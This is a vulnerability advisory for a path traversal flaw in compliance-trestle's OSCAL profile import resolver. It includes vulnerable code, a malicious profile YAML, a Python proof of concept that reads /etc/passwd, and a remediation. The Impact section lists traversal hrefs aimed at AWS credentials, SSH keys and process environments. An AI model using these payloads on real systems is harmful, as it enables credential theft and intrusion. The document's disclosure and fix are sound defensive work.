CVE-2026-45774

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
2. PT-002: ../../etc/passwd — via relative path in href
3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause:

1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
2. No is_relative_to(trestle_root) check after resolve
3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

• CWE-22: https://cwe.mitre.org/data/definitions/22.html
• OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
• compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

1. Credential Theft via OSCAL Import:

   imports:
     - href: "trestle://../../root/.aws/credentials"
     - href: "trestle://../../root/.ssh/id_rsa"
   

2. System Reconnaissance:

   imports:
     - href: "trestle://../../etc/passwd"
     - href: "trestle://../../proc/self/environ"
   

3. Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.

4. Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.